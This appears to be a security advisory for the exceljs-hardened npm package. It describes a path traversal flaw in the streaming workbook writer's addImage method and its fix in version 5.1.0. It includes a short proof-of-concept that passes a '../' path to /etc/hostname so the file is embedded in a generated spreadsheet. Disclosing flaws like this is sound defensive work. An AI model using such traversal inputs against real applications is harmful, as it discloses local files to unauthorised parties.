External Control of File Name or Path Affecting exceljs-hardened package, versions <5.1.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.56% (47th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-EXCELJSHARDENED-22552476
  • published15 Nov 2026
  • disclosed13 Nov 2026
  • creditMatéo Florian Callec

Introduced: 13 Nov 2026

NewCVE-2026-128347  (opens in a new tab)
CWE-73  (opens in a new tab)

How to fix?

Upgrade exceljs-hardened to version 5.1.0 or higher.

Overview

Affected versions of this package are vulnerable to External Control of File Name or Path via stream.xlsx.WorkbookWriter#addImage, which accepts a filename parameter containing ../ path traversal segments without validation. The non-streaming Workbook#addImage rejects such input, but the streaming writer passes the path directly to the ZIP writer, which reads the file and stores it under xl/media/ in the generated workbook. An attacker who controls the image filename passed to addImage can cause addMedia to embed any file readable by the Node.js process into the output workbook, disclosing its contents to whoever receives the file.

PoC

const wb = new ExcelJS.stream.xlsx.WorkbookWriter({ filename: 'out.xlsx' });

wb.addImage({ filename: '../../../../etc/hostname', extension: 'png' });

const ws = wb.addWorksheet('S');
ws.addRow([1]).commit();
await ws.commit();
await wb.commit();

out.xlsx now contains xl/media/image0.png with the content of /etc/hostname.

The same call on Workbook#addImage throws a parent-directory traversal error.

CVSS Base Scores

version 4.0
version 3.1